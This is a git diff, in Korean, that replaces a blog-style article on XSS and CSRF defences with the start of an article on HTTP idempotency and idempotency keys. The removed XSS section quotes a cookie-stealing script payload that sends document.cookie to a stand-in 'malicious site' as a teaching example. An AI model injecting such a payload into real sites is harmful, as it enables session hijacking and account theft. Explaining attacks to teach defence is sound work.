diff --git a/assets/client-server.png b/assets/client-server.png
new file mode 100644
index 000000000..3f2ab55d0
Binary files /dev/null and b/assets/client-server.png differ
diff --git a/assets/dict-naver.png b/assets/dict-naver.png
new file mode 100644
index 000000000..673672b50
Binary files /dev/null and b/assets/dict-naver.png differ
diff --git a/assets/different-request.png b/assets/different-request.png
new file mode 100644
index 000000000..fd099ab18
Binary files /dev/null and b/assets/different-request.png differ
diff --git a/assets/duplicate-request.png b/assets/duplicate-request.png
new file mode 100644
index 000000000..6c5e01368
Binary files /dev/null and b/assets/duplicate-request.png differ
diff --git a/assets/idempotency-key1.png b/assets/idempotency-key1.png
new file mode 100644
index 000000000..4ef3cd171
Binary files /dev/null and b/assets/idempotency-key1.png differ
diff --git a/assets/idempotency-key2.png b/assets/idempotency-key2.png
new file mode 100644
index 000000000..75e67e777
Binary files /dev/null and b/assets/idempotency-key2.png differ
diff --git a/assets/idempotent-signup1.png b/assets/idempotent-signup1.png
new file mode 100644
index 000000000..a6ab89927
Binary files /dev/null and b/assets/idempotent-signup1.png differ
diff --git a/assets/idempotent-signup2.png b/assets/idempotent-signup2.png
new file mode 100644
index 000000000..fbf3b55c3
Binary files /dev/null and b/assets/idempotent-signup2.png differ
diff --git a/assets/idempotent-signup3.png b/assets/idempotent-signup3.png
new file mode 100644
index 000000000..6b0967e21
Binary files /dev/null and b/assets/idempotent-signup3.png differ
diff --git a/assets/idempotent-signup4.png b/assets/idempotent-signup4.png
new file mode 100644
index 000000000..1fe15e7a4
Binary files /dev/null and b/assets/idempotent-signup4.png differ
diff --git a/assets/ietf-idempotency.png b/assets/ietf-idempotency.png
new file mode 100644
index 000000000..aa858d6e8
Binary files /dev/null and b/assets/ietf-idempotency.png differ
diff --git a/assets/mdn-idempotency.png b/assets/mdn-idempotency.png
new file mode 100644
index 000000000..5a79178cd
Binary files /dev/null and b/assets/mdn-idempotency.png differ
diff --git a/assets/signup1.png b/assets/signup1.png
new file mode 100644
index 000000000..d4bde1df4
Binary files /dev/null and b/assets/signup1.png differ
diff --git a/assets/signup2.png b/assets/signup2.png
new file mode 100644
index 000000000..dc2274b51
Binary files /dev/null and b/assets/signup2.png differ
diff --git a/assets/signup3.png b/assets/signup3.png
new file mode 100644
index 000000000..a433f484d
Binary files /dev/null and b/assets/signup3.png differ
diff --git a/assets/signup4.png b/assets/signup4.png
new file mode 100644
index 000000000..dee7d4c61
Binary files /dev/null and b/assets/signup4.png differ
diff --git a/assets/signup5.png b/assets/signup5.png
new file mode 100644
index 000000000..917615106
Binary files /dev/null and b/assets/signup5.png differ
diff --git a/assets/signup6.png b/assets/signup6.png
new file mode 100644
index 000000000..d69c79558
Binary files /dev/null and b/assets/signup6.png differ
diff --git a/technical-writing.md b/technical-writing.md
index 2a194a0ed..46ee539ad 100644
--- a/technical-writing.md
+++ b/technical-writing.md
@@ -1,119 +1,526 @@
-# 1. 프론트엔드 주요 보안 이슈, XSS와 CSRF
+# 들어가며
 
-프론트엔드 개발에서 보안은 간과하기 쉬운 영역이지만, 웹 애플리케이션의 안전성과 사용자 데이터를 보호하기 위해 필수적인 요소이다. 특히 크로스 사이트 스크립팅(XSS)과 교차 사이트 요청 위조(CSRF)는 프론트엔드에서 자주 발생하는 주요 취약점으로, 각각 브라우저와 웹사이트 간의 신뢰 관계를 악용한다는 공통점이 있다.
+이 글은 아래의 독자들을 대상으로 멱등성과 멱등키에 대해 설명하는 글이다.
 
-XSS는 "브라우저가 웹 사이트를 신뢰해서 생기는 취약점"이다. 사용자가 입력한 악성 스크립트가 브라우저에서 실행되면서, 사용자 세션 하이재킹이나 민감한 데이터 유출을 초래할 수 있다. 반면, CSRF는 "웹 사이트가 브라우저를 신뢰해서 생기는 취약점"이다. 공격자는 사용자가 인지하지 못한 상태에서 악의적인 요청을 웹 사이트로 전송하게 만들어, 사용자의 의도와 무관한 데이터 변경이나 작업이 이루어지도록 한다.
+- **멱등성** / **멱등키** 키워드를 접해봤지만 그 **의미를 잘 모르는** 개발자
+- **언제 멱등성을 보장해야 하는지** 모호하게 느껴지는 개발자
+- **API에서 어떻게 멱등성을 보장할 수 있는지** 궁금한 개발자
 
-# 2. 크로스 사이트 스크립팅 (XSS)
+독자는 이 글을 통해 다음의 결과를 얻을 수 있을 것이다.
 
-## 2.1. XSS란?
+- 멱등성 / 멱등키의 **등장 배경 및 개념**을 명확히 이해한다.
+- **API 멱등성 적용에 대한 기준**을 마련한다.
+- **멱등한 API의 설계 방법을 이해하고 직접 적용**할 수 있다.
 
-크로스 사이트 스크립팅(XSS)은 웹 애플리케이션 보안에서 가장 흔하게 발견되는 취약점 중 하나로, 사용자 입력에 대한 적절한 검증 및 필터링이 부족할 때 발생한다. XSS는 웹 페이지에 삽입된 악성 스크립트가 브라우저에서 실행되도록 하여, 공격자가 사용자에게 부적절한 콘텐츠를 표시하거나, 사용자 권한을 가로채는 등의 악의적인 행동을 가능하게 한다. XSS는 주로 사용자가 신뢰하는 웹 사이트가 공격자의 악성 스크립트를 그대로 실행하도록 만드는 데 기인한다.
+# 목차
 
-## 2.2. XSS의 공격 예시
+1. 멱등성이란?
+   1. 사전적 의미
+   2. HTTP에서 말하는 멱등성
+2. HTTP 메서드별 멱등성
+3. 멱등한 API 설계는 왜 필요한가?
+   1. 예시: 외부 API가 포함된 회원가입 로직 중복 실행
+   2. 시스템 외부 환경은 완전하지 않다
+4. 멱등한 API는 어떻게 만들 수 있을까?
+   1. 중복 요청을 누가, 어떻게 구별할까?
+   2. 중복 요청을 서버에서 어떻게 처리할까?
+5. 서버 코드 예시 살펴보기
+6. 모든 API가 멱등해야 할까?
+7. 마무리
 
-XSS 공격은 사용자가 방문한 웹사이트에서 악성 스크립트를 실행시키는 방식으로 이루어진다. 예를 들어, 공격자가 XSS 취약점이 존재하는 블로그에 게시글이나 댓글을 작성하면서 <script>alert('해킹됨');</script>와 같은 스크립트를 삽입했다고 가정해보자. 이 경우, 다른 사용자가 해당 페이지를 방문할 때 이 스크립트가 브라우저에서 실행되어 경고 창이 표시된다. 이 단순한 예시는 공격자가 악성 코드를 사용하여 웹사이트에서 무엇이든 실행할 수 있음을 보여준다.
+# 1. 멱등성이란?
 
-또 다른 예로, 한 쇼핑몰 사이트에서 리뷰 작성 기능이 있다고 가정해보자. 공격자가 리뷰 작성란에 <script>document.location='악성사이트?cookie='+document.cookie</script>와 같은 코드를 삽입한다면, 이 리뷰를 읽는 사용자의 세션 쿠키가 공격자의 사이트로 전송된다. 이 세션 쿠키를 통해 공격자는 사용자의 인증된 세션을 도용하여, 사용자의 계정에 접근하거나, 악의적인 행위를 할 수 있게 된다. 이러한 공격은 웹 애플리케이션에서 입력 데이터를 제대로 검증하지 않았을 때 발생할 수 있는 위험을 잘 보여준다.
+혹시 외부 API _(예: 결제 API)_ 를 적용하는 과정에서 **멱등키**를 마주친 적이 있는가?
+이처럼 중요한 데이터를 다루는 API에서 멱등키, 멱등성이 적용되는 사례를 종종 발견할 수 있다.
 
-## 2.3. XSS의 영향
+하지만 여기서 **'멱등'** 이라는 단어 자체도 생소하게 느껴질 수도 있다.  
+따라서 사전적 의미를 먼저 살펴본 다음, HTTP에서 멱등성이 갖는 의미가 무엇인지 이해해 보자.
 
-XSS는 다양한 방식으로 웹 애플리케이션과 사용자의 보안을 위협한다. 가장 심각한 문제는 세션 하이재킹이다. 공격자는 사용자의 세션 쿠키를 가로채어, 사용자가 로그인한 상태를 도용할 수 있다. 이를 통해 공격자는 사용자의 권한을 무단으로 획득하여, 민감한 데이터에 접근하거나, 계정을 임의로 조작할 수 있다.
+## 1.1 사전적 의미
 
-또한, XSS를 이용해 사용자의 브라우저에서 악성 코드를 실행함으로써 사용자의 시스템에 직접적인 피해를 줄 수도 있다. 예를 들어, 공격자는 XSS를 통해 키로거(Keylogger)나 피싱 공격을 실행하는 스크립트를 삽입할 수 있다. 이러한 스크립트는 사용자가 입력하는 모든 키 입력을 기록하거나, 사용자로 하여금 가짜 로그인 페이지에 로그인하도록 유도하여 자격 증명을 탈취할 수 있다.
+![네이버 국어사전 - 멱등성](/assets/dict-naver.png)
 
-또한, XSS는 웹 애플리케이션의 신뢰도를 심각하게 저하시킬 수 있다. 공격자가 웹 사이트에 악성 콘텐츠를 삽입하면, 사용자는 해당 사이트를 신뢰하지 않게 되고, 이는 사이트의 평판에 큰 영향을 미친다. XSS는 단순히 기술적인 문제가 아니라, 사용자와 웹 애플리케이션 간의 신뢰 관계를 훼손하는 심각한 보안 위협으로 작용한다. 이러한 이유로 XSS는 모든 웹 개발자가 반드시 이해하고, 방어해야 하는 중요한 보안 이슈이다.
+[네이버 국어사전](https://ko.dict.naver.com/#/entry/koko/3b4f7ca2ddb64633a9607112fb4af0e0)에 따르면 멱등성을 **"연산을 여러 번 적용하더라도 결괏값이 달라지지 않는 성질"** 이라고 설명한다.
 
-## 2.4. XSS 취약점 대책
+그렇다면 HTTP에서 말하는 멱등성은 무엇을 의미할까?
 
-### 1. 입력 데이터의 검증
+## 1.2 HTTP에서 말하는 멱등성
 
-사용자 입력 데이터의 검증은 XSS 방지를 위한 가장 중요한 단계 중 하나이다. 웹 애플리케이션은 모든 사용자 입력을 신뢰해서는 안 되며, 입력된 데이터가 악의적인 의도를 가지고 있을 가능성을 항상 염두에 두어야 한다. 따라서, 모든 사용자 입력은 반드시 철저하게 검증되고, 필터링되어야 한다.
+[MDN 문서](https://developer.mozilla.org/en-US/docs/Glossary/Idempotent)와 [IETF 문서](https://datatracker.ietf.org/doc/draft-ietf-httpapi-idempotency-key-header/)에 따르면 각각 다음과 같이 설명한다.
 
-첫 번째로, 사용자 입력을 HTML 콘텐츠에 직접 삽입하기 전에 특수 문자를 이스케이프 처리해야 한다. 이는 <, >, &, ", ' 등의 특수 문자가 HTML 태그나 속성으로 인식되는 것을 방지하기 위한 조치이다. 이러한 문자가 변환되지 않고 그대로 브라우저에 전달되면, 공격자가 삽입한 스크립트가 그대로 실행될 수 있기 때문이다. 예를 들어, <script> 태그와 같은 입력이 그대로 HTML에 삽입되면, 브라우저는 이를 스크립트로 인식하고 실행하게 된다. 이스케이프 처리를 통해 이러한 입력은 단순한 텍스트로 변환되어, 스크립트가 실행되지 않게 된다.
+> 참조 문서는 모두 **2025.10.14** 일자 기준으로 조회한 것이다.
 
-또한, 입력 데이터의 길이와 유형을 제한하는 것도 중요하다. 예를 들어, 이메일 주소나 전화번호와 같이 명확한 형식이 필요한 입력의 경우, 정규 표현식을 사용해 입력된 데이터가 기대하는 형식에 맞는지 검증할 수 있다. 이렇게 함으로써, 공격자가 의도적으로 악성 코드를 입력하는 것을 사전에 차단할 수 있다. 또한, 필요 이상으로 긴 입력을 허용하지 않음으로써, 악의적인 스크립트가 대규모로 삽입되는 것을 방지할 수 있다.
+- MDN 문서
+  ![MDN - Idempotency](/assets/mdn-idempotency.png)
 
-마지막으로, 서버와 클라이언트 측에서 모두 검증을 수행하는 것이 바람직하다. 클라이언트 측 검증은 사용자 경험을 개선하고 빠른 피드백을 제공할 수 있지만, 이를 우회하는 방법이 존재하기 때문에 서버 측에서도 반드시 추가 검증이 이루어져야 한다. 서버 측 검증은 최종 방어선으로서, 클라이언트 측에서 처리되지 않은 악성 입력이 서버에 도달하는 것을 막아줄 수 있다. 이를 통해 잠재적인 XSS 공격의 위험을 최소화할 수 있다.
+- IETF 문서
+  ![IETF - Idempotency Introduction](/assets/ietf-idempotency.png)
 
-### 2. HTML 요소 속성의 보호
+위 내용을 요약하여 **HTTP에서의 멱등성**을 다음과 같이 설명할 수 있다.
 
-HTML 요소 속성에 사용자 데이터를 삽입할 때는 특별한 주의가 필요하다. 속성 값에 사용자 입력이 직접 삽입될 경우, 이는 XSS 공격에 노출될 수 있는 경로가 된다. 예를 들어, 사용자가 입력한 데이터가 href, src, title 등의 속성 값으로 사용될 때, 이 데이터를 반드시 따옴표로 감싸고, 이스케이프 처리를 통해 특수 문자가 코드로 실행되지 않도록 해야 한다. 이를 통해 공격자가 악의적인 스크립트를 삽입하는 것을 효과적으로 방지할 수 있다.
+```
+한번 요청을 보낸 후 똑같은 요청을 여러 차례 보내더라도, 서버 리소스 상태가 똑같이 유지되는 것
+```
 
-특히 href 속성의 경우, 사용자가 입력한 URL이 http:나 https:로 시작하는지 확인해야 한다. 이를 통해 javascript:와 같은 악성 스키마가 사용되지 않도록 할 수 있다. 속성 값에 삽입되는 모든 입력 데이터는 신뢰할 수 없는 사용자로부터 입력된 것이므로, 철저한 검증과 필터링이 필요하다.
+> 참조한 두 문서 모두 **서버 리소스 변화**에 초점을 두고 있다.  
+> 이에 따라 멱등성 여부는 **"중복 요청에 따른 서버 리소스 변화 유무"** 에 의해 결정된다고 볼 수 있다.
 
-### 3. DOM 조작 보호
+그리고 위의 두 문서에서 한 가지 더 주목할 부분이 있는데, 바로 **HTTP 메서드에 따라 멱등성 보장 여부**를 설명한다는 점이다.
 
-DOM 조작 시에도 XSS 공격에 대한 방어가 중요하다. 사용자의 입력을 동적으로 HTML 요소에 삽입할 때, innerHTML과 같은 메서드는 가능한 한 사용하지 않아야 한다. 이 메서드는 입력된 HTML 코드가 그대로 파싱되어 실행되기 때문에, 악의적인 스크립트가 포함될 수 있다. 대신, appendChild, textContent, createElement 등의 메서드를 사용해 DOM을 조작하는 것이 안전하다.
+# 2. HTTP 메서드별 멱등성
 
-이러한 메서드는 입력된 데이터를 단순한 텍스트로 처리하거나, 요소를 명확하게 생성해 삽입하기 때문에, 공격자가 악성 스크립트를 주입하는 것을 방지할 수 있다. 또한, DOM 조작 과정에서 사용자 입력이 HTML 속성에 들어가는 경우, 반드시 앞서 언급한 대로 이스케이프 처리와 검증을 수행해야 한다. 이렇게 하면 동적으로 생성된 콘텐츠도 안전하게 렌더링할 수 있다.
+**HTTP 메서드**는 '서버가 관리하는 리소스에 어떤 행동을 할 것인지'를 나타낸다.  
+즉, HTTP 메서드에 따라 서버 리소스 변화를 예측할 수 있으므로 **HTTP 메서드별로도 멱등성 보장 여부를 구별**할 수 있다.
 
-### 4. Content Security Policy(CSP) 적용
+| HTTP 메서드 | 멱등성 |
+| ----------- | ------ |
+| GET         | ✅     |
+| DELETE      | ✅     |
+| PUT         | ✅     |
+| PATCH       | ⚠️     |
+| POST        | ❌     |
 
-Content Security Policy(CSP)는 XSS와 같은 공격을 방지하기 위한 강력한 보안 메커니즘이다. CSP는 웹 애플리케이션이 실행할 수 있는 콘텐츠의 출처를 제어하여, 악의적인 스크립트가 브라우저에서 실행되는 것을 차단한다. 이를 통해 개발자는 자신이 신뢰하는 출처에서만 스크립트를 불러올 수 있도록 제한할 수 있으며, 인라인 스크립트나 외부 소스에서 로드되는 스크립트의 실행을 막을 수 있다.
+앞서 멱등성의 정의를 떠올리며, 각 메서드의 멱등성 여부를 판단할 때는 **"재요청을 할 때의 서버 리소스 변화"** 를 기준으로 판단한다.
 
-CSP를 적용할 때는 'unsafe-inline'과 같은 비안전한 지시자를 사용하지 않는 것이 중요하다. 대신 nonce-source나 hash-source를 사용하여 인라인 스크립트가 허용될 때도 안전하게 실행되도록 설정할 수 있다. 또한, 특정 리소스 유형에 대해 script-src, style-src, img-src 등의 지시자를 설정하여, 신뢰할 수 있는 출처에서만 해당 리소스를 로드하게끔 제어할 수 있다. 이를 통해 XSS를 포함한 다양한 코드 인젝션 공격을 예방할 수 있다.
+## 2.1 GET - 멱등
 
-CSP는 테스트와 모니터링을 통해 지속적으로 개선되어야 한다. 초기에는 'Report-Only' 모드를 사용하여 CSP 설정이 제대로 작동하는지 확인하고, 문제점을 파악한 후에 실제 정책을 적용하는 것이 좋다. 또한, CSP는 설정 후에도 공격 시도가 발생할 경우 보고서를 수집하여, 새로운 위협에 대응할 수 있도록 지속적으로 관리해야 한다. 이렇게 함으로써, 웹 애플리케이션의 보안을 한층 강화할 수 있다.
+GET 요청은 서버의 리소스를 조회하는 안전한(safe) 메서드로, **서버의 상태를 변경하지 않는다.**  
+[RFC 9110: Method Definitions](https://www.rfc-editor.org/rfc/rfc9110.html#name-methods)에 따르면 GET은 본질적으로 읽기 전용 작업이므로, 동일한 GET 요청을 여러 번 수행해도 서버의 리소스 상태는 변하지 않는다. 따라서 GET은 멱등성을 만족한다.
 
-### 5. XSS 예방 라이브러리 사용
+예를 들어, `GET /users/123`을 1번 호출하든 100번 호출하든 사용자 정보를 조회할 뿐, **서버의 상태에는 어떠한 변화도 일으키지 않는다.**
 
-XSS를 효과적으로 방어하기 위해서는 검증된 라이브러리를 사용하는 것이 중요하다. DOMPurify와 같은 라이브러리는 사용자가 입력한 데이터를 철저히 필터링하여, 잠재적으로 위험한 HTML 태그와 속성을 제거함으로써 XSS 공격을 방지한다. 이 라이브러리는 사용하기 간편하면서도 강력한 보호 기능을 제공하여, 개발자가 안전하게 사용자 콘텐츠를 처리할 수 있도록 돕는다.
+## 2.2 DELETE - 멱등
 
-DOMPurify는 다양한 설정 옵션을 제공하여 개발자가 애플리케이션의 요구에 맞게 필터링 규칙을 커스터마이즈할 수 있다. 예를 들어, 특정 태그나 속성만 허용하거나, 스크립트와 같이 악성 코드가 포함될 수 있는 요소를 완전히 제거하는 식으로 설정할 수 있다. 이를 통해 애플리케이션의 보안 수준을 높이고, 사용자가 악의적인 입력을 통해 시스템에 해를 끼치는 것을 방지할 수 있다.
+DELETE 요청은 리소스 삭제를 수행하므로, 얼핏 보면 비멱등처럼 보일 수 있다.  
+하지만 앞선 멱등성의 정의를 다시 떠올려보자. **멱등성 여부를 판단할 때는 "재요청" 상황에 기반**한다.
 
-최신 웹 브라우저에서 제공하는 Sanitizer API를 활용하는 것도 좋은 방법이다. Sanitizer API는 브라우저 내장 보안 기능으로, XSS와 같은 보안 위협으로부터 사용자를 보호하기 위해 고안되었다. 이 API는 브라우저 레벨에서 콘텐츠를 안전하게 처리하며, 사용자 입력을 DOM에 삽입하기 전에 자동으로 검증한다. 이러한 도구를 활용하면, 개발자는 XSS와 같은 취약점을 보다 효과적으로 방어할 수 있다.
+특정 리소스에 대한 DELETE 요청을 서버가 성공적으로 처리했다면, 이후 똑같은 요청이 반복해서 들어오더라도 해당 리소스는 삭제된 상태로 남아있다.
 
-# 3. 교차 사이트 요청 위조 (CSRF)
+- _예: `DELETE /users/123`을 여러 번 호출해도 사용자 123은 삭제된 상태를 유지한다._
 
-## 3.1. CSRF란?
+> Q. 요청마다 응답이 달라져도 멱등하다고 할 수 있는가?
+>
+> A. [RFC 9110: Idempotent Methods](https://www.rfc-editor.org/rfc/rfc9110.html#name-idempotent-methods)에서는 DELETE의 멱등성을 명확히 정의하고 있다. 특히 **"응답이 다를 수 있다"** _(... though the response might differ.)_ 라고 언급한 부분을 주목하자.
+>
+> 예를 들어 첫 번째 DELETE 요청은 `200` / `202` / `204` 응답을 반환한 후, 이후의 DELETE 요청들은 `404`를 반환할 수도 있다.  
+> 즉, 응답 코드는 다를 수 있으나 **서버의 상태**는 "리소스가 삭제됨"으로 **동일하게 유지되므로** 멱등하다고 할 수 있다.
 
-교차 사이트 요청 위조(CSRF)는 사용자가 신뢰하는 웹사이트에 대해, 사용자의 의도와는 다른 악의적인 요청을 수행하도록 유도하는 공격 기법이다. 이 공격은 사용자가 웹사이트에 이미 로그인된 상태에서 발생하며, 공격자가 사용자의 브라우저를 통해 웹사이트로 요청을 전송하게 만들어 서버가 이를 정상적인 요청으로 처리하도록 만든다. 결과적으로, 서버는 이러한 요청을 신뢰된 사용자로부터 온 것이라 간주하고, 사용자의 권한 하에 민감한 작업을 수행하게 된다.
+## 2.3 PUT - 멱등
 
-CSRF 공격은 웹사이트가 사용자의 브라우저를 신뢰하는 점을 악용한다. 예를 들어, 사용자가 인터넷 뱅킹에 로그인한 상태에서 공격자가 준비한 악성 웹 페이지를 방문하면, 그 페이지는 사용자의 브라우저를 통해 이체 요청을 자동으로 전송할 수 있다. 이 과정에서 사용자는 자신의 계좌에서 돈이 이체된다는 사실을 전혀 인지하지 못한다. 이러한 공격은 사용자가 특정한 행동을 취하지 않더라도, 단순히 악성 페이지를 방문하거나, 공격자가 만든 링크를 클릭하는 것만으로도 실행될 수 있다.
+PUT 요청은 리소스 전체를 교체(replace)하는 메서드로, [RFC 9110: Idempotent Methods](https://www.rfc-editor.org/rfc/rfc9110.html#name-idempotent-methods)에서도 멱등한 메서드로 정의되어 있다. 핵심은 **요청 본문에 담긴 데이터로 대상 리소스의 상태를 완전히 대체한다**는 점이다.
 
-## 3.2. CSRF의 공격 예시
+동일한 PUT 요청을 여러 번 수행하면, 첫 번째 요청 이후의 모든 요청은 서버의 리소스를 동일한 상태로 유지한다. 예를 들어, 다음과 같은 요청을 생각해보자.
 
-CSRF 공격의 한 예시는 사용자가 이미 로그인된 상태에서 특정 웹사이트의 악성 링크를 클릭하는 상황이다. 예를 들어, 공격자는 사용자가 자주 방문하는 포럼에 악성 링크를 게시할 수 있다. 이 링크는 사용자가 클릭하는 즉시, 그의 브라우저를 통해 인터넷 뱅킹 사이트에 자동 이체 요청을 보낸다. 사용자는 이 요청이 자신도 모르게 실행되었기 때문에, 자신의 계좌에서 자금이 이체되는 사실을 알지 못한다. 이처럼 CSRF 공격은 사용자의 인증 상태를 악용하여 의도하지 않은 작업을 수행하게 만든다.
+```http
+PUT /users/123
+Content-Type: application/json
 
-또 다른 예시로는, 공격자가 조작한 이메일 링크를 통해 CSRF를 실행하는 경우가 있다. 사용자가 링크를 클릭하면, 해당 링크는 사용자가 로그인된 상태인 전자 상거래 사이트에서 자동으로 주문을 생성하거나, 배송 주소를 변경하는 요청을 보낸다. 사용자는 이러한 변경 사항을 인지하지 못하고, 주문이 잘못된 주소로 배송되는 등 큰 피해를 입을 수 있다. 이러한 공격은 사용자가 자신의 브라우저에서 실행되는 모든 요청을 신뢰할 수 없다는 점을 명확히 보여준다.
+{
+  "name": "김철수",
+  "email": "kim@example.com",
+  "age": 30
+}
+```
 
-## 3.3. CSRF의 영향
+이 요청을 1번 보내든 10번 보내든, 서버의 `/users/123` 리소스는 최종적으로 동일한 상태가 된다. 따라서 PUT은 멱등성을 만족한다.
 
-CSRF는 사용자의 개인 정보와 자산을 심각하게 위협할 수 있는 취약점이다. 공격자는 CSRF를 통해 사용자가 의도하지 않은 작업을 수행하게 만들 수 있으며, 이는 웹 애플리케이션의 기능과 데이터 무결성에 큰 영향을 미친다. 예를 들어, 금융 서비스에서 CSRF 공격이 발생할 경우, 사용자의 자금이 무단으로 이체되거나, 중요한 계좌 정보가 변경될 수 있다. 이러한 피해는 경제적인 손실로 직결될 뿐만 아니라, 사용자의 신뢰를 완전히 잃게 만드는 원인이 된다.
+## 2.4 PATCH - 비멱등
 
-또한, CSRF는 소셜 미디어나 이메일 서비스에서도 큰 영향을 미칠 수 있다. 공격자는 CSRF를 통해 사용자의 계정으로 무단 게시물을 작성하거나, 사용자 모르게 비밀번호를 변경하여 계정을 탈취할 수 있다. 이로 인해 사용자는 자신의 온라인 정체성을 잃거나, 원치 않는 콘텐츠가 자신의 이름으로 퍼지게 되는 상황에 직면할 수 있다. 이러한 결과는 단순히 개인적인 피해를 넘어서, 사회적 신뢰와 평판에도 심각한 영향을 미친다. CSRF의 피해는 눈에 보이지 않게 누적되며, 문제를 인지한 후에는 이미 큰 피해가 발생한 경우가 많아, 이에 대한 예방이 무엇보다 중요하다.
+PATCH 요청은 [RFC 5789](https://www.rfc-editor.org/rfc/rfc5789.html)에 정의된 메서드로, **리소스의 부분적인 수정**을 수행한다.  
+[RFC 9110](https://www.rfc-editor.org/rfc/rfc9110.html#name-idempotent-methods)에서 PATCH를 명시적으로 비멱등 메서드로 분류하지는 않지만, 구현 방식에 따라 멱등성이 달라질 수 있다.
 
-## 3.4. CSRF 취약점 대책
+PATCH가 일반적으로 비멱등인 이유는 **요청 본문에 "변경 방법"을 담기 때문**이다.
 
-### 1. CSRF 토큰 사용
+예를 들어:
 
-CSRF 방어의 핵심 전략 중 하나는 원타임 토큰(One-Time Token)을 활용하여 요청과 서버 간의 일치 여부를 검증하는 것이다. 이 토큰은 서버가 사용자 세션에 고유하게 생성한 값으로, 각 요청마다 포함되어야 한다. 서버는 요청을 처리하기 전에 이 토큰이 유효한지 확인한다. 이를 통해 서버는 요청이 사용자의 브라우저에서 직접 발생했는지, 또는 외부에서 조작된 것인지를 검증할 수 있다.
+```http
+PATCH /users/123
+Content-Type: application/json
 
-CSRF 토큰은 주로 폼에 숨김 필드로 포함된다. 사용자가 폼을 제출하면, 토큰이 함께 전송되어 서버에서 검증된다. 이렇게 함으로써 공격자가 외부에서 동일한 요청을 모방하더라도, 유효한 토큰이 없으면 요청이 처리되지 않는다. 이는 사용자가 정상적인 경로를 통해 요청을 보냈는지를 확인하는 중요한 보안 절차이다.
+{
+  "age": 31
+}
+```
 
-이 토큰은 단순한 값이 아니라, 복잡하고 예측 불가능한 값이어야 하며, 매 세션마다 변경되는 것이 바람직하다. 세션이 시작될 때마다 새로운 토큰이 생성되거나, 각 요청 시마다 새롭게 발급되어야 한다. 이렇게 하면 공격자가 특정 토큰을 획득하더라도 이를 재사용할 수 없게 되어, CSRF 공격의 성공 가능성을 크게 낮출 수 있다. 이는 CSRF 공격을 방지하는 데 있어 중요한 보안 계층을 추가하는 역할을 한다.화할 수 있다.
+위 요청이 **"age를 31로 설정"** 을 의미한다면 멱등이다.
 
-### 2. SameSite Cookie 속성 사용
+하지만 다음과 같은 경우는 비멱등이다:
 
-CSRF 공격을 방지하는 또 다른 중요한 방법은 쿠키의 SameSite 속성을 사용하는 것이다. 이 속성은 쿠키가 요청과 함께 전송되는 방식을 제어하여, 교차 사이트 요청이 쿠키를 포함할 수 없도록 제한한다. SameSite 속성은 Lax, Strict, 또는 None으로 설정할 수 있으며, 기본적으로는 Lax로 설정하여 대부분의 경우에 안전한 보호를 제공한다.
+```http
+PATCH /users/123
+Content-Type: application/json
 
-SameSite=Lax는 사용자가 링크를 클릭하거나 GET 요청을 통해 사이트를 탐색할 때 쿠키가 전송되도록 허용하지만, POST 요청과 같은 민감한 작업에는 쿠키가 포함되지 않도록 한다. 이는 사용자가 외부 사이트에서 특정 링크를 클릭하는 일반적인 사용 사례를 보호하면서도, CSRF 공격의 가능성을 줄이는 데 효과적이다. SameSite=Strict로 설정하면, 모든 외부 요청에 대해 쿠키가 전송되지 않아, CSRF 공격에 대한 보호가 더욱 강화된다.
+{
+  "increment": "age"
+}
+```
 
-하지만, SameSite=Strict는 사용자 경험에 영향을 미칠 수 있어, 모든 상황에서 적합하지는 않다. 반면, SameSite=Lax는 보안과 사용자 경험의 균형을 잘 맞추는 옵션으로, 대부분의 웹 애플리케이션에서 권장된다. 특정 상황에서는 SameSite=None을 사용하여 쿠키가 교차 사이트 요청에서도 전송되도록 설정할 수 있지만, 이 경우 반드시 Secure 속성도 함께 사용하여 HTTPS 연결에서만 쿠키가 전송되도록 해야 한다. 이를 통해 CSRF 공격에 대한 강력한 방어를 유지하면서도, 필요한 경우 유연성을 제공할 수 있다.
+위 요청이 **"age 값 1 증가"** 를 의미한다면, 요청할 때마다 age 값이 계속 증가하므로 비멱등이다.
 
-### 3. Double Submit Cookie 기법
+PATCH는 주로 부분 업데이트에 사용되며, 구현에 따라 멱등/비멱등이 결정된다. 그러나 일반적으로는 비멱등 메서드로 간주된다. ([MDN 문서](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods#safe_idempotent_and_cacheable_request_methods))
 
-Double Submit Cookie 기법은 CSRF 공격을 방어하기 위한 효과적인 방법 중 하나로, CSRF 토큰을 두 번 제출하는 방식을 사용한다. 이 기법에서는 서버가 사용자의 브라우저에 CSRF 토큰을 포함하는 쿠키를 발급하고, 클라이언트는 이 토큰을 폼 데이터나 요청 헤더에 포함시켜 서버에 다시 전송한다. 서버는 요청이 들어오면, 쿠키에 저장된 토큰과 폼이나 헤더에 포함된 토큰이 일치하는지 확인한다.
+## 2.5 POST - 비멱등
 
-이 방법은 서버가 CSRF 토큰을 관리하는 방식과 달리, 쿠키와 폼 데이터 간의 일치 여부를 검사하여 CSRF 공격을 방어한다. 공격자는 CSRF 토큰이 포함된 쿠키를 위조할 수 없으며, 일치하는 토큰 값을 알지 못하기 때문에, 이 기법은 CSRF 공격을 효과적으로 차단한다. 또한, 이 기법은 서버 측에서 특별한 상태 정보를 유지할 필요가 없어 구현이 비교적 간단하다.
+POST 요청은 [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110.html#name-idempotent-methods)에서 명시적으로 비멱등 메서드로 정의한다.
 
-하지만 Double Submit Cookie 기법은 쿠키의 보안 설정이 중요하다. 쿠키가 JavaScript에서 접근 가능하지 않도록 HttpOnly 속성을 사용해야 하며, Secure 속성을 통해 HTTPS 연결에서만 쿠키가 전송되도록 설정해야 한다. 이러한 보안 설정을 통해 쿠키가 클라이언트 측에서 노출되는 것을 방지하고, CSRF 공격에 대한 방어력을 더욱 강화할 수 있다.
+> POST는 주로 새로운 리소스 생성 또는 서버의 상태 변경 작업에 사용된다.
 
-### 4. 출처 검증
+POST가 비멱등인 이유는 **동일한 요청을 여러 번 보낼 때마다 서버에 새로운 변화가 발생**하기 때문이다.
 
- CSRF 공격을 방지하는 또 다른 중요한 방법은 출처 검증(Origin Verification)이다. 출처 검증은 서버가 요청의 출처(Origin)와 Referer 헤더를 확인하여, 요청이 신뢰할 수 있는 출처에서 온 것인지 판단하는 방식이다. 웹 브라우저는 요청을 보낼 때 출처와 Referer 헤더를 자동으로 포함시키며, 서버는 이를 바탕으로 요청의 유효성을 검사할 수 있다.
+예를 들어:
 
